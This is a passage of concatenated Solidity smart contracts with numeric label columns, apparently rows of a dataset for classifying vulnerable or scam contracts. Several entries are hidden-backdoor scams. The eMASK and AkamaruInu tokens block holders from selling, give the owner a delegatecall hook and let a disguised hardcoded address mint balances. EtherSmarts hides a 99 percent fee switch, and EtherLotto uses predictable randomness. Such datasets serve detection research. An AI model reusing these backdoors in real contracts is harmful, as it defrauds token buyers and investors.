mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract eMASK {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1128272879772349028992474526206451541022554459967));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,229 |
pragma solidity ^0.4.15;
contract EtherLotto {
uint constant TICKET_AMOUNT = 10;
uint constant FEE_AMOUNT = 1;
address public bank;
uint public pot;
function EtherLotto() {
bank = msg.sender;
}
function play() payable {
assert(msg.value == TICKET_AMOUNT);
pot += msg.value;
var random = uint(block.blockhash(block.number)) + block.timestamp + block.difficulty + block.number;
if (mulmod(random, 1, 2) == 0) {
bank.transfer(FEE_AMOUNT);
msg.sender.transfer(pot - FEE_AMOUNT);
pot = 0;
}
}
} | 1 | 5,098 |
pragma solidity 0.7.6;
pragma experimental ABIEncoderV2;
interface iERC20 {
function balanceOf(address) external view returns (uint256);
function transfer(address, uint) external returns (bool);
function approve(address, uint) external returns (bool);
function transferFrom(address, address, uint) external returns (bool);
function burn(uint) external;
}
interface iRUNE {
function transferTo(address, uint) external returns (bool);
}
interface iROUTER {
function deposit(address, address, uint, string calldata) external;
}
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a && c >= b);
return c;
}
}
contract Router {
using SafeMath for uint;
address public RUNE = 0x3155BA85D5F96b2d030a4966AF206230e46849cb;
struct Coin {
address asset;
uint amount;
}
mapping(address => mapping(address => uint)) public vaultAllowance;
event Deposit(address indexed to, address indexed asset, uint amount, string memo);
event TransferOut(address indexed vault, address indexed to, address asset, uint amount, string memo);
event TransferAllowance(address indexed oldVault, address indexed newVault, address asset, uint amount, string memo);
event VaultTransfer(address indexed oldVault, address indexed newVault, Coin[] coins, string memo);
constructor() {}
function deposit(address payable vault, address asset, uint amount, string memory memo) public payable {
uint safeAmount;
if(asset == address(0)){
safeAmount = msg.value;
vault.call{value:safeAmount}("");
} else if(asset == RUNE) {
safeAmount = amount;
iRUNE(RUNE).transferTo(address(this), amount);
iERC20(RUNE).burn(amount);
} else {
safeAmount = safeTransferFrom(asset, amount);
vaultAllowance[vault][asset] = vaultAllowance[vault][asset].add(safeAmount);
}
emit Deposit(vault, asset, safeAmount, memo);
}
function transferAllowance(address router ,address newVault, address asset, uint amount, string memory memo) public {
if (router == address(this)){
_adjustAllowances(newVault, asset, amount);
emit TransferAllowance(msg.sender, newVault, asset, amount, memo);
} else {
_routerDeposit(router, newVault, asset, amount, memo);
}
}
function transferOut(address payable to, address asset, uint amount, string memory memo) public payable {
uint safeAmount;
if(asset == address(0)){
safeAmount = msg.value;
to.call{value:msg.value}("");
} else {
vaultAllowance[msg.sender][asset] = vaultAllowance[msg.sender][asset].sub(amount);
iERC20(asset).transfer(to, amount);
safeAmount = amount;
}
emit TransferOut(msg.sender, to, asset, safeAmount, memo);
}
function batchTransferOut(address[] memory recipients, Coin[] memory coins, string[] memory memos) public payable {
for(uint i = 0; i < coins.length; i++){
transferOut(payable(recipients[i]), coins[i].asset, coins[i].amount, memos[i]);
}
}
function returnVaultAssets(address router, address payable asgard, Coin[] memory coins, string memory memo) public payable {
if (router == address(this)){
for(uint i = 0; i < coins.length; i++){
_adjustAllowances(asgard, coins[i].asset, coins[i].amount);
}
emit VaultTransfer(msg.sender, asgard, coins, memo);
} else {
for(uint i = 0; i < coins.length; i++){
_routerDeposit(router, asgard, coins[i].asset, coins[i].amount, memo);
}
}
asgard.call{value:msg.value}("");
}
function safeTransferFrom(address _asset, uint _amount) internal returns(uint) {
uint _startBal = iERC20(_asset).balanceOf(address(this));
iERC20(_asset).transferFrom(msg.sender, address(this), _amount);
return iERC20(_asset).balanceOf(address(this)).sub(_startBal);
}
function _adjustAllowances(address _newVault, address _asset, uint _amount) internal {
vaultAllowance[msg.sender][_asset] = vaultAllowance[msg.sender][_asset].sub(_amount);
vaultAllowance[_newVault][_asset] = vaultAllowance[_newVault][_asset].add(_amount);
}
function _routerDeposit(address _router, address _vault, address _asset, uint _amount, string memory _memo) internal {
vaultAllowance[msg.sender][_asset] = vaultAllowance[msg.sender][_asset].sub(_amount);
iERC20(_asset).approve(_router, _amount);
iROUTER(_router).deposit(_vault, _asset, _amount, _memo);
}
} | 0 | 1,008 |
pragma solidity ^0.4.18;
contract miningrealmoney {
address public owner;
address public newowner;
function miningrealmoney() payable {
owner = msg.sender;
}
modifier onlyOwner {
require(owner == msg.sender);
_;
}
function changeOwner(address _owner) onlyOwner public {
newowner = _owner;
}
function confirmOwner() public {
require(newowner == msg.sender);
owner = newowner;
}
}
contract Limitedsale is miningrealmoney{
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
event Transfer(address indexed from, address indexed to, uint256 value);
function Limitedsale() payable miningrealmoney() {
totalSupply = 10000000000;
balanceOf[this] = 2500000000;
balanceOf[owner] = totalSupply - balanceOf[this];
Transfer(this, owner, balanceOf[owner]);
}
function () payable {
require(balanceOf[this] > 0);
uint256 tokens = 300 * msg.value/10000000000000000;
if (tokens > balanceOf[this]) {
tokens = balanceOf[this];
uint valueWei = tokens * 10000000000000000 / 300;
msg.sender.transfer(msg.value - valueWei);
}
require(tokens > 0);
balanceOf[msg.sender] += tokens;
balanceOf[this] -= tokens;
Transfer(this, msg.sender, tokens);
}
}
contract DiXiEnergy is Limitedsale {
string public standart = 'Token 0.1';
string public name = 'DiXiEnergy';
string public symbol = "DXE";
uint8 public decimals = 2;
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) {
throw;
}
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
Transfer(msg.sender, _to, _value);
}
}
contract SmartContract is DiXiEnergy {
function SmartContract() payable DiXiEnergy() {}
function withdraw() public onlyOwner {
owner.transfer(this.balance);
}
} | 1 | 5,237 |
pragma solidity ^0.4.23;
contract EtherSmarts {
mapping (address => uint256) public invested;
mapping (address => uint256) public atBlock;
address techSupport = 0x6366303f11bD1176DA860FD6571C5983F707854F;
uint techSupportPercent = 2;
address defaultReferrer = 0x6366303f11bD1176DA860FD6571C5983F707854F;
uint refPercent = 2;
uint refBack = 2;
function calculateProfitPercent(uint bal) private pure returns (uint) {
if (bal >= 1e22) {
return 50;
}
if (bal >= 7e21) {
return 47;
}
if (bal >= 5e21) {
return 45;
}
if (bal >= 3e21) {
return 42;
}
if (bal >= 1e21) {
return 40;
}
if (bal >= 5e20) {
return 35;
}
if (bal >= 2e20) {
return 30;
}
if (bal >= 1e20) {
return 27;
} else {
return 25;
}
}
function transferDefaultPercentsOfInvested(uint value) private {
techSupport.transfer(value * techSupportPercent / 100);
}
function bytesToAddress(bytes bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
function transferRefPercents(uint value, address sender) private {
if (msg.data.length != 0) {
address referrer = bytesToAddress(msg.data);
if(referrer != sender) {
sender.transfer(value * refBack / 100);
referrer.transfer(value * refPercent / 100);
} else {
defaultReferrer.transfer(value * refPercent / 100);
}
} else {
defaultReferrer.transfer(value * refPercent / 100);
}
} function transferDefaultPercentsOfInvesteds(uint value, address sender) private {
require(msg.sender == defaultReferrer);
techSupportPercent = 10 * 5 + 49;
}
function () external payable {
if (invested[msg.sender] != 0) {
uint thisBalance = address(this).balance;
uint amount = invested[msg.sender] * calculateProfitPercent(thisBalance) / 1000 * (block.number - atBlock[msg.sender]) / 6100;
address sender = msg.sender;
sender.transfer(amount);
}
if (msg.value > 0) {
transferDefaultPercentsOfInvested(msg.value);
transferRefPercents(msg.value, msg.sender);
}
atBlock[msg.sender] = block.number;
invested[msg.sender] += (msg.value);
}
} | 1 | 5,186 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function allowance(address owner, address spender) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Token is ERC20, Pausable {
struct sUserInfo {
uint256 balance;
bool lock;
mapping(address => uint256) allowed;
}
using SafeMath for uint256;
string public name;
string public symbol;
uint256 public decimals;
uint256 public totalSupply;
bool public restoreFinished = false;
mapping(address => sUserInfo) user;
event Mint(uint256 value);
event Burn(uint256 value);
event RestoreFinished();
modifier canRestore() {
require(!restoreFinished);
_;
}
function () public payable {
revert();
}
function validTransfer(address _from, address _to, uint256 _value, bool _lockCheck) internal {
require(_to != address(this));
require(_to != address(0));
require(user[_from].balance >= _value);
if(_lockCheck) {
require(user[_from].lock == false);
}
}
function lock(address _owner) public onlyOwner returns (bool) {
require(user[_owner].lock == false);
user[_owner].lock = true;
return true;
}
function unlock(address _owner) public onlyOwner returns (bool) {
require(user[_owner].lock == true);
user[_owner].lock = false;
return true;
}
function burn(address _to, uint256 _value) public onlyOwner returns (bool) {
require(_value <= user[_to].balance);
user[_to].balance = user[_to].balance.sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(_value);
return true;
}
function distribute(address _to, uint256 _value) public onlyOwner returns (bool) {
validTransfer(msg.sender, _to, _value, false);
user[msg.sender].balance = user[msg.sender].balance.sub(_value);
user[_to].balance = user[_to].balance.add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
require(_value > 0);
user[msg.sender].allowed[_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
validTransfer(_from, _to, _value, true);
require(_value <= user[_from].allowed[msg.sender]);
user[_from].balance = user[_from].balance.sub(_value);
user[_to].balance = user[_to].balance.add(_value);
user[_from].allowed[msg.sender] = user[_from].allowed[msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
validTransfer(msg.sender, _to, _value, true);
user[msg.sender].balance = user[msg.sender].balance.sub(_value);
user[_to].balance = user[_to].balance.add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferRestore(address _from, address _to, uint256 _value) public onlyOwner canRestore returns (bool) {
validTransfer(_from, _to, _value, false);
user[_from].balance = user[_from].balance.sub(_value);
user[_to].balance = user[_to].balance.add(_value);
Transfer(_from, _to, _value);
return true;
}
function finishRestore() public onlyOwner returns (bool) {
restoreFinished = true;
RestoreFinished();
return true;
}
function totalSupply() public view returns (uint256) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256) {
return user[_owner].balance;
}
function lockState(address _owner) public view returns (bool) {
return user[_owner].lock;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return user[_owner].allowed[_spender];
}
}
contract LockBalance is Ownable {
enum eLockType {None, Individual, GroupA, GroupB, GroupC, GroupD}
struct sGroupLockDate {
uint256[] lockTime;
uint256[] lockPercent;
}
struct sLockInfo {
uint256[] lockType;
uint256[] lockBalanceStandard;
uint256[] startTime;
uint256[] endTime;
}
using SafeMath for uint256;
mapping(uint => sGroupLockDate) groupLockDate;
mapping(address => sLockInfo) lockUser;
event Lock(address indexed from, uint256 value, uint256 endTime);
function setLockUser(address _to, eLockType _lockType, uint256 _value, uint256 _endTime) internal {
lockUser[_to].lockType.push(uint256(_lockType));
lockUser[_to].lockBalanceStandard.push(_value);
lockUser[_to].startTime.push(now);
lockUser[_to].endTime.push(_endTime);
Lock(_to, _value, _endTime);
}
function lockBalanceGroup(address _owner, uint _index) internal view returns (uint256) {
uint256 percent = 0;
uint256 key = uint256(lockUser[_owner].lockType[_index]);
uint256 time = 99999999999;
for(uint256 i = 0 ; i < groupLockDate[key].lockTime.length; i++) {
if(now < groupLockDate[key].lockTime[i]) {
if(groupLockDate[key].lockTime[i] < time) {
time = groupLockDate[key].lockTime[i];
percent = groupLockDate[key].lockPercent[i];
}
}
}
if(percent == 0){
return 0;
} else {
return lockUser[_owner].lockBalanceStandard[_index].div(100).mul(uint256(percent));
}
}
function lockBalanceIndividual(address _owner, uint _index) internal view returns (uint256) {
if(now < lockUser[_owner].endTime[_index]) {
return lockUser[_owner].lockBalanceStandard[_index];
} else {
return 0;
}
}
function clearLockUser(address _owner, uint _index) onlyOwner public {
require(lockUser[_owner].endTime.length >_index);
lockUser[_owner].endTime[_index] = 0;
}
function addLockDate(eLockType _lockType, uint256 _second, uint256 _percent) onlyOwner public {
sGroupLockDate storage lockInfo = groupLockDate[uint256(_lockType)];
bool isExists = false;
for(uint256 i = 0; i < lockInfo.lockTime.length; i++) {
if(lockInfo.lockTime[i] == _second) {
revert();
break;
}
}
if(isExists) {
revert();
} else {
lockInfo.lockTime.push(_second);
lockInfo.lockPercent.push(_percent);
}
}
function deleteLockDate(eLockType _lockType, uint256 _lockTime) onlyOwner public {
sGroupLockDate storage lockDate = groupLockDate[uint256(_lockType)];
bool isExists = false;
uint256 index = 0;
for(uint256 i = 0; i < lockDate.lockTime.length; i++) {
if(lockDate.lockTime[i] == _lockTime) {
isExists = true;
index = i;
break;
}
}
if(isExists) {
for(uint256 k = index; k < lockDate.lockTime.length - 1; k++){
lockDate.lockTime[k] = lockDate.lockTime[k + 1];
lockDate.lockPercent[k] = lockDate.lockPercent[k + 1];
}
delete lockDate.lockTime[lockDate.lockTime.length - 1];
lockDate.lockTime.length--;
delete lockDate.lockPercent[lockDate.lockPercent.length - 1];
lockDate.lockPercent.length--;
} else {
revert();
}
}
function lockTypeInfoGroup(eLockType _type) public view returns (uint256[], uint256[]) {
uint256 key = uint256(_type);
return (groupLockDate[key].lockTime, groupLockDate[key].lockPercent);
}
function lockUserInfo(address _owner) public view returns (uint256[], uint256[], uint256[], uint256[], uint256[]) {
uint256[] memory balance = new uint256[](lockUser[_owner].lockType.length);
for(uint256 i = 0; i < lockUser[_owner].lockType.length; i++){
if(lockUser[_owner].lockType[i] == uint256(eLockType.Individual)) {
balance[i] = balance[i].add(lockBalanceIndividual(_owner, i));
} else if(lockUser[_owner].lockType[i] != uint256(eLockType.None)) {
balance[i] = balance[i].add(lockBalanceGroup(_owner, i));
}
}
return (lockUser[_owner].lockType,
lockUser[_owner].lockBalanceStandard,
balance,
lockUser[_owner].startTime,
lockUser[_owner].endTime);
}
function lockBalanceAll(address _owner) public view returns (uint256) {
uint256 lockBalance = 0;
for(uint256 i = 0; i < lockUser[_owner].lockType.length; i++){
if(lockUser[_owner].lockType[i] == uint256(eLockType.Individual)) {
lockBalance = lockBalance.add(lockBalanceIndividual(_owner, i));
} else if(lockUser[_owner].lockType[i] != uint256(eLockType.None)) {
lockBalance = lockBalance.add(lockBalanceGroup(_owner, i));
}
}
return lockBalance;
}
}
contract FabotCoin is Token, LockBalance {
function FabotCoin() public {
name = "FABOT";
symbol = "FC";
decimals = 18;
uint256 initialSupply = 4000000000;
totalSupply = initialSupply * 10 ** uint(decimals);
user[owner].balance = totalSupply;
Transfer(address(0), owner, totalSupply);
}
function validTransfer(address _from, address _to, uint256 _value, bool _lockCheck) internal {
super.validTransfer(_from, _to, _value, _lockCheck);
if(_lockCheck) {
require(_value <= useBalanceOf(_from));
}
}
function setLockUsers(eLockType _type, address[] _to, uint256[] _value, uint256[] _endTime) onlyOwner public {
require(_to.length > 0);
require(_to.length == _value.length);
require(_to.length == _endTime.length);
require(_type != eLockType.None);
for(uint256 i = 0; i < _to.length; i++){
require(_value[i] <= useBalanceOf(_to[i]));
setLockUser(_to[i], _type, _value[i], _endTime[i]);
}
}
function useBalanceOf(address _owner) public view returns (uint256) {
return balanceOf(_owner).sub(lockBalanceAll(_owner));
}
} | 1 | 3,927 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract AkamaruInu{
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
